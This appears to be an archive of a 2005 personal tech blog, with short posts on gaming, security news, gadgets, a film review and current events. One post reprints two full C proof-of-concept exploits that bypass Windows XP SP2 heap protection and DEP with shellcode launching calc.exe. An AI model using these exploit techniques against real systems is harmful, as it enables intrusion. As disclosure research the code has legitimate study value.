Is that really where they think the money is? Or are they just out of touch with who the older gamers of America are? I think the latter may be the case. Consider that Nintendo's Chief of Public Relations, NiKen Toyota, congratulated himself on the recent increase of DS purchases by Mature (19+) gamers in Japan. He sited the advertisements featuring Japanese pop star Hikaru Utada as the reason it has risen from 49% to 59%. Well, that's great for the Japanese market, where they enjoy things incomprehensible to the American mind. But do they really think effeminate Japanese pop stars will connect them to mature gamers here in the States?

While Nintendo used to be the big cheese it's attitude is going to make it go back to making playing cards pretty soon. While the games (al lot of them anyway) used to be kick ass and for all age groups, the current round of releases is horrible and shoddy (with some exceptions). WHY in godsname are they acting like a toy company and marketing to little kids? Where's the latest F-Zero? Where's the latest Legend of Mana?

I've always had a love/hate relationship with Nintendo. I've hated their fascist licensing schemes (If you wanted to be a developer they had a habit of butting in a lot), but I must admin that NES, SNES & Gameboy games have been a huge part of my youth. That is why I still want them to succeed. Let's hope they see the light one day before it's too late so people don't alway have to use the term "The good old days" when referring to them.

Tecmo sues for video game hacking

2005-02-10T12:47:00.000+01:00

"Tecmo has sued users of an Internet message board devoted to hacking into popular games, including its "Ninja Gaiden" and "Dead or Alive," to change their codes, the publisher said on Wednesday.

The lawsuit, filed in a federal court in Chicago, accuses Web site administrators Mike Greiling of Eden Prairie, Minn., Will Glynn of Davie, Fla., and others of knowingly infringing on Tecmo's proprietary software for the games, which run on Microsoft's Xbox game system.

Greiling could not be located for comment, and Glynn was not immediately available. The site in question is www.ninjahacker.net.

Tecmo, a Torrance, Calif.-based subsidiary of Japan's Tecmo said it has launched an investigation "to find and identify all offenders in this case." The lawsuit charges the defendants with violating the Digital Millennium Copyright Act and seeks damages."

So says news.com. This is just getting ridiculous. It also shows how dangerous and retarted the retarted DMCA laws are. Now you go to jail for exchanging cheats. As we say in Holland: "Het moet niet gekker worden".....

iPod Shuffle RAID Array

2005-02-09T18:36:00.000+01:00

So, what do you do when you and some friends are all getting iPod Shuffles? You make a RAID array out of them, of course! Follow along as we explore new depths of geekery...

Excerpt:

My original intent was to actually install OS X on the RAID and boot from that, but the OS X (Panther, 10.3.5) Installer wouldn't allow installation onto the RAID array, either as a Strip or Mirror set. After restoring the Shuffles to their original configuation, I tried the OS X Installer again and even the Shuffle itself would not allow OS X to be installed on it, possibly due to how the volume itself is made available to the OS.

This is a nice one. Totally useless, but nice nontheless...

systrace in OpenBSD

2005-02-08T13:32:00.000+01:00

Just thought I'd mention a nice sample chapter from Secure Architectures with OpenBSD that's been posted online.

It serves as a nice beginners tutorial for all you systrace n00bs out there. Excerpt:

The OpenBSD default system comes with a policy enforcement tool named systrace, which provides a way to monitor, intercept, and restrict system calls. The systrace facility acts as a wrapper to the executables, shepherding their traversal of the system call table. The systrace facility then intercepts the system calls and, using the systrace device, processes them through the kernel and handles the system calls.

Getting started with systrace is quite easy. You can run your programs under systrace, generate policies based on the observed behavior, and then enforce this policy on the program in subsequent runs. There are, however, two problems with this approach:

Round round round we go, where all that processor speed is nobody knows

2005-02-08T10:07:00.000+01:00

Peter Seebach has written another interesting piece at IBM Developerworks on where all that extra CPU power we have these days is going. Excerpt:

Computers are getting faster all the time, or so they tell us. But, in fact, the user experience of performance hasn't improved much over the past 15 years. Peter looks at where all the processor time and memory are going.

About 10 years ago I remember people complaining that Microsoft Word was too slow on the Mac. You could type faster than the processor handled input on such a large application. Imagine my disappointment when I recently discovered that the same thing still holds true. Similarly, my first computer with a hard drive loaded a small command-line utility in under a second and a large graphics program in perhaps half a minute. Those are good specs, but isn't it kind of sad that they haven't changed much in the past 15 years?

So the question is, where is all the CPU power going? How is it possible that a machine with a full gigabyte of memory can run out of room to run applications just as quickly as a machine with six megabytes of memory did 15 years ago? In this month's The cranky user, I'll get to the bottom of this big mystery. But first, I want to revisit an old adage and see where it stands today.

All pretty logical, but I wonder when (or if) the curve will ever slant towards faster reponses. Maybe if we move to 100% solid state systems (no anologue hard disks etc.)...

Wildenstein List - You've made the list

2005-02-06T14:08:00.000+01:00

A leaked list containing the names of some 240,000 people who allegedly spied for Poland's former communist regime has overtaken sex as the hottest search item on the Internet in Poland, press reports has said.

"This thing is huge. We have recorded around 100,000 Internet searches a day for the list, which is 10 times the number looking for sex," Piotr Tchorzewski, who works at Poland's biggest Internet portal Onet, told Rzeczpospolita daily.

The list, which contains in alphabetical order the names of alleged agents and collaborators of the communist-ero secret service, mixed together with the names of those who were allegedly spied on, has also been put up for auction on the Internet, but its bid price late yesterday -- 2.99 zlotys (around 75 euro cents) -- was hardly breaking records.

On Onet's web portal, it tops the list of search items, and visitors are referred to 650,000 links for the controversial collection of names that has pushed the attorney general to launch legal proceedings and Prime Minister Marek Belka to express concern for the safety of active intelligence agents whose names "might" be on the list.

The list, dubbed the Wildstein List after Bronislaw Wildstein, the journalist who secretly copied it around two weeks ago at the national archives, can change from one Internet consultation to the next, as hackers have been adding or taking off names, press reports said.

The list itself can be found on many web sites. Damn, you're trully screwed if you're in this one.....

ID Chip Sniper Rifle

2005-02-06T13:54:00.000+01:00

Cool hoax here. Excerpt:

What is the ID SNIPERTM rifle?

It is used to implant a GPS-microchip in the body of a human being, using a high powered sniper rifle as the long distance injector. The microchip will enter the body and stay there, causing no internal damage, and only a very small amount of physical pain to the target. It will feel like a mosquito-bite lasting a fraction of a second. At the same time a digital camcorder with a zoom-lense fitted within the scope will take a high-resolution picture of the target. This picture will be stored on a memory card for later image-analysis.

Why use the ID SNIPERTM rifle?

As the urban battlefield grows more complex and intense, new ways of managing and controlling crowds are needed. The attention of the media changes the rules of the game. Sometimes it is difficult to engage the enemy in the streets without causing damage to the all important image of the state. Instead EMPIRE NORTH suggests to mark and identify a suspicious subject on a safe distance, enabeling the national law enforcement agency to keep track on the target through a satellite in the weeks to come.

Gotten from Schneier Weglog. Only a matter of time before this becomes reality though :-(

Sweetest VOIP Phone I've Seen Yet

2005-02-06T12:45:00.000+01:00

It seems that AT&T Research Cambridge (the same guys that brought you VNC) was working on some sweet VOIP phones. On their closure The LCE Sentient Computing Environment got their hands on 70 of those phones. Excerpt:

The Broadband Phone (BBPhone) is basically a Strong-ARM 1100, with 8MB of flash, 32MB of RAM, touchscreen, 10Mbps Ethernet and a sound card running a derivative of the Linux 2.2 kernel.

In the summer of 2003, I took it upon myself to make these phones functional. The results of this exercise are documented in the following sections.

They explain how they got those phones to work properly here. I hope that one day something like this is released to the general public. I wouldn't mind hooking up my house with these babies.

(Human) troublemaker fed to the lions

2005-02-02T16:14:00.000+01:00

A white South African boer (famer) has apparantly fed one of his black employees to the lions. An excerpt:

A WHITE farmer and two of his black employees, accused of feeding a sacked farm worker to the lions, went on trial for murder yesterday in the most racially charged case in South Africa's recent history.

A packed courtroom in the small town of Phalaborwa, in the rural northeast, heard Mark Scott-Crossley, 37, and the co-accused, Simon Mathebula, 43, and Richard Mathebula, 41, plead not guilty to murdering Nelson Chisale, 41, last January.

Chisale's remains were found inside a lion reserve, 16km from the farm. The prosecution alleges he was beaten up, attacked with pangas (large knives) and then trussed up, taken in a truck to the Kruger National Park, and then fed to the lions.

Labelled "a troublemaker", Chisale had been dismissed two months before his death. Scott-Crossley, who owns the farm with his brother, had left instructions that Chisale was not to be allowed back on the premises, the court was told yesterday.

For a picture of the guy, see above. This kind of thing just disgusts me. I hope they hang this guy.

Study concurs that Italian men are a bunch of mommas boys

2005-02-02T10:02:00.000+01:00

According to the BBC as study has shown that more and more grown men stay living with their mothers well into their 30s. Excerpt:

An ever-increasing number of Italians are living with their parents until well into their 30s, a study says.

The proportion of Italians aged between 30 and 34 still living at home has doubled to well over a quarter, a recent government report concludes.

Sons linger even longer than daughters, the government says, with 36.5% of men aged 30 to 34 remaining at home, compared to just 18.1% of women.

The new figures are part of an annual report by research centre Eurispes.

For more info on why check out the article. Thirtyfour and still living with your mum. Must be difficult with the ladies...

Garden State Review

2005-02-01T01:38:00.000+01:00

I just saw Garden State. This being the recently released flick directed, written by and staring Zach Braff whom many will know as the lead player of the TV series Scrubs.

Before I begin this review I must state that I am a fan of Scrubs, even though it sometimes suffers from American TV series lameness (a lesson has to be learn every episode, sometimes making it too sappy ala Full House). Because of the series I had some preconceived notions of Zach, which have thankfully been nullified. Never would I have conceived that someone from a TV sitcom could have so much talent inside him. Well, enough confessing and on with the review. Here follows a brief synopsis (not too many spoilers, this all becomes clear in the beginning of the movie) ripped from imdb:

Andrew Largeman (Zach Braff) shuffled through life in a lithium-induced coma until his mother's death inspired a vacation from the pills to see what might happen. A moderately successful TV actor living in Los Angeles, "Large" hasn't been home to the Garden State in nine years. But even with 3,000 miles between them, he's been unable to escape his domineering father Gideon and the silencing effect he's had on his son from afar. Stunned to find himself in his hometown after such a long absence, Large finds old acquaintances around every corner living quite unique lives as gravediggers, fast food knights and the panderers of pyramid schemes. Meanwhile, at home, he does his best to avoid a long-simmering but inevitable confrontation with his father. By a twist of fate, Large meets Sam (Natalie Portman), a girl who is everything he isn't. A blast of color, hope and quirks, Sam becomes a sidekick who refuses to ride in his sidecar. Her warmth and fearlessness give Large the courage to open his heart to the joy and pain of the infinite abyss that is life.

While this may sound sappy (after seeing trailers I wasn't too keen on seeing this flick) the story pans out quite well. For people of my generation (+/- 25 years) the issues in the film are very real, and I'm sure many people can identify with the lead player. Especially the feeling of not belonging, which is brilliantly portrayed by the acting talents of Zach, the flow of the film and the soundtrack (more about which later).

The script is extremely well written and definitely Oscar worthy IMHO. It was totally believable and had a good mix of 25 something characters. All are people who finish high school and go on with their lives, none of them particularly making it par one (watch the movie if you want to know more). Also a nice slow flow which works for the movie, and a lot of commentary on present day self medication practiced by a lot of people who can't deal with life.

The acting itself is superb. Of special note is Zach who plays the lead character to a T. This of course is logical, as he wrote the thing and I strongly suspect that this is a very personal movie for him, as it is also set around where he himself grew up in real life. Also of note is Natalie Portman. Ever since I saw her as a twelve year old fan I have been a personal fan, and although she has made her share of sappy chick flicks, I still think she's a good actress. While she still has certain nice girl next door quirks, this movie (and another one, Closer, which I will review later) shows that she is really developing into a woman and is ready for proper parts. Her acting isn't as cardboard as she was in Star Wars 4 & 5 (I get a bad taste just typing that title in) and you can definitely see why she was Zachs first pick for the part. I expect to see good work from here in the future. Even all of the extras give good performances, without exception. These are all unknowns, but I wouldn't be surprised if some of them make it as actors.

The soundtrack for this movie was handpicked by Zach before filming, and it shows. Not since Magnolia has a soundtrack so set the tune for a film. Every song is without exception a perfect pick. While a lot of films these days pick predictable top 40 songs, Zach has gone the "alternative" route. Of special note are the inclusions of The Sins and Zero 7, which I am listening to as I'm typing this.

As you can probably guess from this review, I am just glowing about this movie. My only criticism is that sometimes you see a little bit of JC (lead character of scrubs) in Zachs performance, but this by no means becomes irritating. I would never have guessed that he could make such a serious and touching movie. Therefore I'm giving this a well deserved 4.5/5, a must see for all you twenty somethings out there who don't belong.

Doom - The Boardgame

2005-01-31T11:49:00.000+01:00

After a succession of games it's finally here, Doom the boardgame. Now I wonder if this is actually any fun....

PS2 San Andreas Controller Cheats Brute Forced

2005-01-30T14:37:00.000+01:00

You just have to love this guys ingenuity. He brute forced San Andreas cheats by hooking his controller up to the parallel port of his PC to automatically go through combinations of buttons. Apparently he also found cheats not yet released by Rockstar. Click here for a pic. Nice one...

Windows XP SP2 Heap Protection Broken

2005-01-30T14:24:00.000+01:00

Looks like the guys at Positive Technology has broken the new XP SP2 Heap protection. Here's a brief reminder of what the protection entails from the paper:

Memory protection
Buffer overrun attacks are among the most common mechanisms, or vectors, for intrusion into computers. In this type of exploit, the attacker sends a long string to an input stream or control – longer than the memory buffer allocated to hold it. The long string injects code into the system, which is executed, launching a virus or worm.

Windows XP Service Pack 2 uses two general categories of protection measures to inhibit buffer-overrun attacks. On CPUs that support it, the operating system can turn on the execution protection bit for virtual memory pages that are supposed to hold only data. On all CPUs, the operating system is now more careful to reduce both stack and heap buffer overruns, using "sandboxing" techniques.

Execution Protection (NX)
On the 64-bit AMD K8 and Intel Itanium processor families, the CPU hardware can mark memory with an attribute that indicates that code should not be executed from that memory. This execution protection (NX) feature functions on a per-virtual memory page basis, most often changing a bit in the page table entry to mark the memory page.

On these processors, Windows XP Service Pack 2 uses the execution protection feature to prevent the execution of code from data pages. When an attempt is made to run code from a marked data page, the processor hardware raises an exception immediately and prevents the code from executing. This prevents attackers from overrunning a data buffer with code and then executing the code; it would have stopped the Blaster worm dead in its tracks.

Although the support for this feature is currently limited to 64-bit processors, Microsoft expects future 32-bit and 64-bit processors to provide execution protection.

Sandboxing
To help control this type of attack on existing 32-bit processors, Service Pack 2 adds software checks to the two types of memory storage used by native code: the stack, and the heap. The stack is used for temporary local variables with short lifetimes; stack space is automatically allocated when a function is called and released when the function exits. The heap is used by programs to dynamically allocate and free memory blocks that may have longer lifetimes.

The protection added to these two kinds of memory structures is called sandboxing. To protect the stack, all binaries in the system have been recompiled using an option that enables stack buffer security checks. A few instructions added to the calling and return sequences for functions allow the runtime libraries to catch most stack buffer overruns. This is a case where a little paranoia goes a long way.

In addition, "cookies" have been added to the heap. These are special markers at the beginning and ends of allocated buffers, which the runtime libraries check as memory blocks are allocated and freed. If the cookies are found to be missing or inconsistent, the runtime libraries know that a heap buffer overrun has occurred, and raise a software exception.

And what would an exploit be without some example code ;-) :



/*

 * Defeating Windows XP SP2 Heap protection.

 *

 * Copyright (c) 2004  Alexander Anisimov, Positive Technologies.

 *

 *

 * Tested on:

 *

 *    - Windows XP SP2

 *    - Windows XP SP1

 *    - Windows 2000 SP4

 *    - Windows 2003 Server

 *

 * Contacts:

 *

 *    anisimov@ptsecurity.com

 *    http://www.ptsecurity.com

 *

 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"

 * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION

 * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.

 *

 */

 

#include 

#include 



unsigned char calc_code[]=

      "\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9"

      "\x04\x03\x02\x01"      // Address of system() function

      "\xFF\xD1\xEB\xF7";



void fixaddr(char *ptr, unsigned int a)

{

      ptr[0] = (a & 0xFF);

      ptr[1] = (a & 0xFF00) >> 8;

      ptr[2] = (a & 0xFF0000) >> 16;

      ptr[3] = (a & 0xFF000000) >> 24;

}



int getaddr(void)

{

      HMODULE lib = NULL;

      unsigned int addr_func = 0;

      unsigned char a[4];



       // get address of system() function

      lib = LoadLibrary("msvcrt.dll");

      if (lib == NULL) {

            printf("Error: LoadLibrary failed\n");

            return -1;

      }



       addr_func = (unsigned int)GetProcAddress(lib, "system");

      if (addr_func == 0) {

            printf("Error: GetProcAddress failed\n");

            return -1;

      }



      printf("Address of msvcrt.dll!system(): %08X\n\n", addr_func);



      fixaddr(a, addr_func);

      memcpy(calc_code+13, a, 4);



      return 0;

}



int main(int argc, char **argv)

{

      HANDLE h = NULL;

      LPVOID mem1 = NULL, mem2 = NULL, mem3 = NULL;

      unsigned char shellcode[128];



       if (getaddr() != 0)

            return 0;



       // create private heap

      h = HeapCreate(0, 0, 0);

      if (h == NULL) {

            printf("Error: HeapCreate failed\n");

            return 0;

      }

      printf("Heap: %08X\n", h);



      mem1 = HeapAlloc(h, 0, 64-8);

      printf("Heap block 1: %08X\n", mem1);

      mem2 = HeapAlloc(h, 0, 128-8);

      printf("Heap block 2: %08X\n", mem2);



      HeapFree(h, 0, mem1);

      HeapFree(h, 0, mem2);



      mem1 = HeapAlloc(h, 0, 64-8);

      printf("Heap block 1: %08X\n", mem1);



      // buffer overflow occurs here...

     memset(mem1, 0x31, 64);



      // fake allocation address in the stack

      memcpy((char *)mem1+64, "\x84\xFF\x12\x00", 4);



      // lookaside list overwrite occurs here...

      mem2 = HeapAlloc(h, 0, 128-8);

      printf("Heap block 2: %08X\n", mem2);



      // allocate memory from the stack

      mem3 = HeapAlloc(h, 0, 128-8);

      printf("Heap block 3: %08X\n", mem3);



      memset(shellcode, 0, sizeof(shellcode)-1);



      // fake ret address

      memcpy(shellcode, "\x8B\xFF\x12\x00", 4);



      // shellcode - "calc.exe"

      memcpy(shellcode+4, "\x90\x90\x90\x90", 4);

      memcpy(shellcode+4+4, calc_code, sizeof(calc_code)-1);



      // overwrite stack frame

     memcpy(mem3, shellcode, sizeof(calc_code)-1+8);



      return 0;

}



/*

 * Defeating Windows XP SP2 Heap protection.

 * Example 2: DEP bypass. (DEP is Data Execution Prevention)

 *

 * Copyright (c) 2004  Alexander Anisimov, Positive Technologies.

 *

 *

 * Tested on:

 *

 *    - Windows XP SP2

 *    - Windows XP SP1

 *    - Windows 2000 SP4

 *    - Windows 2003 Server

 *

 * Contacts:

 *

 *    anisimov@ptsecurity.com

 *    http://www.ptsecurity.com

 *

 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"

 * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION

 * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.

 *

 */



#include 

#include 



unsigned char calc_code[]=

      "\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9"

      "\x04\x03\x02\x01"      // Address of system() function

      "\xFF\xD1\xEB\xF7";



void fixaddr(char *ptr, unsigned int a)

{

      ptr[0] = (a & 0xFF);

      ptr[1] = (a & 0xFF00) >> 8;

      ptr[2] = (a & 0xFF0000) >> 16;

      ptr[3] = (a & 0xFF000000) >> 24;

}



int getaddr(unsigned char *a)

{

      HMODULE lib = NULL;

      unsigned int addr_func = 0;



      // get address of system() function

      lib = LoadLibrary("msvcrt.dll");

      if (lib == NULL) {

            printf("Error: LoadLibrary failed\n");

            return -1;

      }



      addr_func = (unsigned int)GetProcAddress(lib, "system");

      if (addr_func == 0) {

            printf("Error: GetProcAddress failed\n");

            return -1;

      }



      printf("Address of msvcrt.dll!system(): %08X\n\n", addr_func);



      fixaddr(a, addr_func);



      return 0;

}



 



 



int main(int argc, char **argv)

{

      HANDLE h = NULL;

      LPVOID mem1 = NULL, mem2 = NULL, mem3 = NULL;

      unsigned char shellcode[128];



      // create private heap

      h = HeapCreate(0, 0, 0);

      if (h == NULL) {

            printf("Error: HeapCreate failed\n");

            return 0;

      }

      printf("Heap: %08X\n", h);



     mem1 = HeapAlloc(h, 0, 64-8);

     printf("Heap block 1: %08X\n", mem1);

     mem2 = HeapAlloc(h, 0, 128-8);

     printf("Heap block 2: %08X\n", mem2);



      HeapFree(h, 0, mem1);

      HeapFree(h, 0, mem2);



      mem1 = HeapAlloc(h, 0, 64-8);

      printf("Heap block 1: %08X\n", mem1);



      // buffer overflow occurs here...

     memset(mem1, 0x31, 64);



     // fake allocation address in the stack

    memcpy((char *)mem1+64, "\x84\xFF\x12\x00", 4);



     // lookaside list overwrite occurs here...

     mem2 = HeapAlloc(h, 0, 128-8);

     printf("Heap block 2: %08X\n", mem2);



     // allocate memory from the stack

    mem3 = HeapAlloc(h, 0, 128-8);

    printf("Heap block 3: %08X\n", mem3);



    memset(shellcode, 0, sizeof(shellcode)-1);



    // “return-into-lib” method

    // fake ret address -> system()



      getaddr(&shellcode[0]);

      memcpy(shellcode+4, "\x32\x32\x32\x32", 4);



      // shellcode - "calc.exe"

      memcpy(shellcode+8, "\x94\xFF\x12\x00", 4);

      memcpy(shellcode+12, "\x31\x31\x31\x31", 4);

      memcpy(shellcode+16, "calc", 4);

      memcpy(shellcode+20, "\x0a\x31\x31\x31", 4);



      // overwrite stack frame

      memcpy(mem3, shellcode, 24);



      return 0;

}

I really love these kind of simple hacks that circumvent a major touted feature so easily. The code is so simple it almost explains itself.

Monkeys love monkey porn

2005-01-29T10:50:00.000+01:00

A new study indicates that monkeys will actually pay to see pictures of female monkeys and male dominant ones. Excerpt:

Would you pay to see a monkey's backside? I hope not. Monkeys will, and I guess that's okay, though it sounds awfully close to the sort of thing that lands guys in jail here in the human realm.

A new study found that male monkeys will give up their juice rewards in order to ogle pictures of female monkey's bottoms. The way the experiment was set up, the act is akin to paying for the images, the researchers say.

The rhesus macaque monkeys also splurged on photos of top-dog counterparts, the high-ranking primates. Maybe that's like you or me buying People magazine.

The research, which will be detailed in the March issue of Current Biology, gets more interesting.

The scientists actually had to pay these guys, in the form of extra juice, to get them to look at images of lower-ranking monkeys.

Curiously, the monkeys in the test hadn't had any direct physical contact with the monkeys in the photos, so they didn't have personal experience with who was hot and who was not.

"So, somehow, they are getting this information by observation -- by seeing other individuals interact," said Michael Platt of the Duke University Medical Center.

Funny to see how close monkeys are to humans yet again.

Use Lynx, go to jail

2005-01-28T10:19:00.000+01:00

Boingboing has an article on how someone was sent to jail after using Lynx & Solaris to make a donation for tsunami victims online. Excerpt:

For donating to a Tsunami appeal using Lynx on Solaris 10. BT [British Telecom] who run the donation management system misread an access log and saw hmm thats a non standard browser not identifying it's type and it's doing strange things. Trace that IP. Arrest that hacker.

Armed police, a van, a police cell and national news later the police have gone in SWAT styley and arrested someone having their lunch.

Out on bail till next week and preparing to make a lot of very bad PR for BT and the Police....

So just goes to show if you use anything other than Firefox or IE and you rely on someone else to interogate access logs or IDS logs you too could be sitting in a paper suit in a cell :(

I'm really suprised at the stupidity of the person that interpreted the log. Also how with just one log entry, the police has enough "evidence" to send a team to pick someone up.

Just another example of FUD and corporate supremacy dictating what the powers that be do. There should be an enquiry into this to make sure it doesn't happen again, as I for one don't trust corporations that are this dumb, or police that pick people up with flimsy evidence. For shame.....

Airport Security From Hell

2005-01-25T16:08:00.000+01:00

Just read this interesting account of FUD gone mad in a post 911 world:

American Airlines Customer Relations
P.O. Box 619612 MD 2400
DFW Airport, TX 75261-9612Ê

14 January, 2005

To whom it may concern,

On Sunday, January 9th, I flew AA51 from London Gatwick to
Dallas-Fort Worth. At Gatwick, I was confronted with a security
check that exceeded sense and decency and, I feel, creates a
terrible potential liability for your airline.

At Gatwick, I was directed to a security podium before I checking
in for my flight. The security officer asked me a series of
questions, such as:

* Where are you flying?

* How long have you owned your luggage for?

* Have any of your electronics been serviced recently?

* Why are you flying this route?

This last one was a little weird: the route I was flying had been
selected for me by the computer running www.aa.com's reservation
system, but I answered anyway, wanting to be cooperative. Then
the officer asked me where I would be staying in the USA:

"I will be staying with a friend tonight, at a hotel near LAX
tomorrow, and with a different friend in Tarzana for the rest of
the week."

The security officer then handed me a blank piece of paper and
said, "Please write down the names and addresses of everyone
you're staying with in the USA."

I actually began to write this out when I was brought up short.
"Wait a second -- since when does AA compile a written dossier on
the names and addresses of my friends? Why are you asking me
this? Do you have a privacy policy and a data-retention policy I
can inspect prior to this?"

The security officer told me that this was a Transport Security
Agency (TSA) regulation. I asked for the name or number of the
regulation, its text, and the details of the data-retention and
privacy practices in place at AA UK. The security officer wasn't
able to answer my questions, and she went to get her supervisor.

After several minutes, her supervisor appeared and said, after
introducing himself, "Sir, this is for your own protection."

I think it's pretty hard to argue that making passengers produce
written dossiers on their friends' home addresses makes planes in
the sky secure. I asked again if this was really a TSA regulation
and what AA's privacy and data-retention policies are.

The officer said, "This is a TSA regulation."

I said, "Why didn't I have to provide this information when I
flew out of Gatwick on US Air in December then?"

He said, "Well, you know that American Airlines has had some
terrible things happen to it in the past."

I asked "So the TSA wrote a special regulation for AA? What is
the name of this regulation, and what is your data-retention and
privacy policy?"

He didn't know the answer and went off to fetch the terminal
supervisor for AA.

Several more minutes passed, and then the supervisor appeared. He
had looked over my documents and said, "Sir, I'm sorry, you are a
Platinum AAdvantage member and shouldn't have been asked this
question." I thanked him and asked him if he knew what AA's
privacy and data-retention policies were. He didn't.

In the past few days, I've told this story to many friends in the
US and the UK and they've all been shocked by it. It's really
stuck in my craw, and left me with three questions for your
airline:

1. What is the AA privacy and data-retention policy?

2. Do non-Platinum flyers have to provide dossiers on their
friends on demand from an AA officer? Why?

3. Is there a TSA regulation that requires you to gather this
information? What is the number or name of that regulation and
where can I get a copy of it?

Under the UK Data Protection Act, AA is required to be
accountable for the personal information it collects from the
public. On presentation of a nominal fee of ten pounds, AA is
expected to provide a reasonable accounting of what information
it has gathered from me and how it uses that information. I
believe gathering these dossiers means that you incur this
liability not only to me, but to all of my friends, too -- in
other words, if you require me to give you my friends' name and
address, my friends also have the right to find out how you use
that information. This explodes your data-retention liability,
potentially by an order of magnitude.

I was told that I came under extra scrutiny at the podium because
I was flying from the UK to the US on a Canadian passport; that
is, a passport that doesn't come from either the origin or
destination of my flight. I fly a lot to the USA, and other
airlines don't seem to have this policy. Should I take this to
mean that if I continue to fly AA on this customary UK-US voyage
of mine, I can expect to be given a hassle every time I fly?

I'm cc'ing this note to my colleagues at the Electronic Frontier
Foundation, to my friend John Gilmore who is currently suing the
TSA over some of its regulations, and to the website I co-edit,
Boing Boing (boingboing.net), which has over 200,000 daily
readers. I will be very interested to hear your reply.

I would appreciate a response by February 1, 2005.

Thank you,

Cory Doctorow

AAdvantage Number: XXXXXXX

Now this is just going too far. I wonder how long it will take for the United States to get off it's paranoid ass and rejoin the "free" world again.

Ghosts stalk Thai tsunami survivors

2005-01-25T13:23:00.000+01:00

The BBC has a piece on how spirits haunt tsunami survivors. Excerpt:

Lek looks nervously at the Patong sea shore as he describes the passengers who climbed into his tuk tuk minivan late at night on 6 January.

"Go to Kata Beach", the seven foreign tourists told him, after agreeing on a 200 baht fee.

He drove a while, but then felt numb all over his body.

Looking around he saw the cab was empty. He had had what he thinks was an encounter with the ghosts that many say are haunting the beaches and resorts on Thailand's Andaman coast.

And the religious charms he wears around his neck are not helping him overcome his fears.

"I can't get over this. I'm going to have to get a new job. I have a daughter to support, but I'm too scared to go out driving at night," he said.

Lek's experiences are by no means unique.

Other apparitions which have been reported include a foreign woman, whose screams echo through the night from the wreckage of a hotel that was particularly badly hit.

Seeing that weird things often happen in places where dramatic emotional events have taken place, tsunamiland could become a major spot for ghost hunters.

Phrack will soon be no more

2005-01-22T23:43:00.000+01:00

Looks like Phrack is about to kick the bucket. The next issue will also be the last one. This for me is VERY sad news. One of the first things I did when I got an internet connection was download and print the latest issue. An excerpt from the site:

Phrackstaff is pleased to bring you _our_ LAST EVER CALL FOR PAPERS for the FINAL RELEASE of PHRACK.

We are preparing for a hardcover and ezine release at a major hacker convention near you!

We ask everyone to submit a paper. Great care will be taken to ensure that only the best articles make it into PHRACK FINAL. As usual, papers can be on any topic related to the following:

- hacking
- phreaking
- spying
- carding
- cybernetics
- radio
- electronics
- forensics
- reverse engineering
- cryptography
- anarchy
- conspiracy
- world news

Since 1985, PHRACK MAGAZINE has been providing the hacker community with information on operating systems, network technologies and telephony, as well as relaying features of interest for the international computer underground. PHRACK MAGAZINE is made available to the public, as often as possible, free of charge.

PHRACK STAFF <--- preparing for hex2005

Especially seeing how dumbed down the technical content of most sites/zines has become it WILL be missed. Now we only have articles catered to clueless newbies and script kiddies. This truly spells the death of the golden hacker age. Phrack, you WILL be missed :-(

aacPlus to replace MP3 streams

2005-01-22T15:48:00.000+01:00

Slate has an interesting article on how aacPlus is going to replace MP3 streams in the near future. The main reason for this being the small bandwidth requirements for aacPlus (48kpbs will get you decent stereo sound). An excerpt from the article:

It's a given that fat broadband lines are the future of online media. But right now, for Internet radio, the future is about slimming downcreating skinny little streams of data that don't eat up too much bandwidth. The key is a new and better audio compression format called aacPlus, or sometimes HE-AAC, which has been chosen by the industry committee that standardized MP3 13 years ago (the Motion Picture Experts Group). If you've tried to listen to online stations, you know they sound grainy if they're streamed at any less than 128 kilobits per secondmaybe 96 kbps if you're not fussy. That makes a broadband connection a must. But aacPlus sounds nearly as good as a CD, even when it's compressed enough to play through a dialup line. Don't take my word for itsee the results of the European Broadcasting Union's listener tests, in which aacPlus was deemed the "clear winner" at a dialup-friendly 48 kbps.

There could be something to this. After all, aacPlus is already used by XM satellite radio, and the smaller bandwidth needs will make these streams more viable cost wise. Also people with cable connections will be able to serve up more streams.

This can only lead to good things. For an example of aacPlus streams check out tuner2.com.

Onkyo TX-NR1000 - As future proof as you can get

2005-01-22T11:46:00.000+01:00

Just found a cool new reciever from Onkyo, the TX-NR1000.

This things the most future proof receiver I've seen yet. Here's what they have to say about it:

The Future-Proof Anchor to Your Entertainment Needs

Welcome to the full potential of what a home theater reciever can be. Onkyo, the company that brought you the worlds first 7.1-channel, THX-certified receiver, now unveils what a flagship receiver should be. The TX-NR1000 provides technology and design that will impress all, from the audiophile to the casual listener. The THX Ultra2 badge on the front means that this receiver provides the guarantee of the highest quality product available. Onkyos Premium Digital concept takes on a new state-of-the-art look with the addition of HDMI (High-Definition Multimedia Interface) and i.LINK (IEEE1394) pure digital ports. All the latest encoding formatsTHX Surround EX, DTS 96/24, Dolby Pro Logic IIx, and moreare here along with the knowledge that youre ready for the future with upgradable flash memory. Onkyos exclusive Net-Tune protocol provides streaming music from your computer or Internet radio from the waves of cyberspace. So, for truly breathtaking performance and features from a receiver that truly deserves to be christened as a flagship, audition the TX-NR1000 and find out what true home entertainment is like.

Check out the above image for future proofness. I would SO buy this if I had +/- 4000 bucks to splash on a reciever ;-)

Streaming Databases, the future?

2005-01-22T11:31:00.000+01:00

Looks like there's a company called Streambase which is about to release a new database that's nothing sort of revolutionary. For an explanation check this excerpt:

Michael Stonebraker is well-known in the database business, and for good reasons. He was the computer science professor behind Ingres and Postgres. Eighteen months ago, he started a new company, StreamBase, with another computer science professor, Stan Zdonik, with the goal of speeding access to relational databases. In "Data On The Fly," Forbes.com reports that the company software, also named StreamBase, is reading TCP/IP streams and using asynchronous messaging. Streaming data without storing it on disk as are doing other relational database software gives them a tremendous speed advantage. The company claims it can process 140,000 messages per second on a $1,500 PC, when its competitors can only deal with 900 messages per second. Too good to be true? Read more...

Here are some excerpts from the Forbes article.

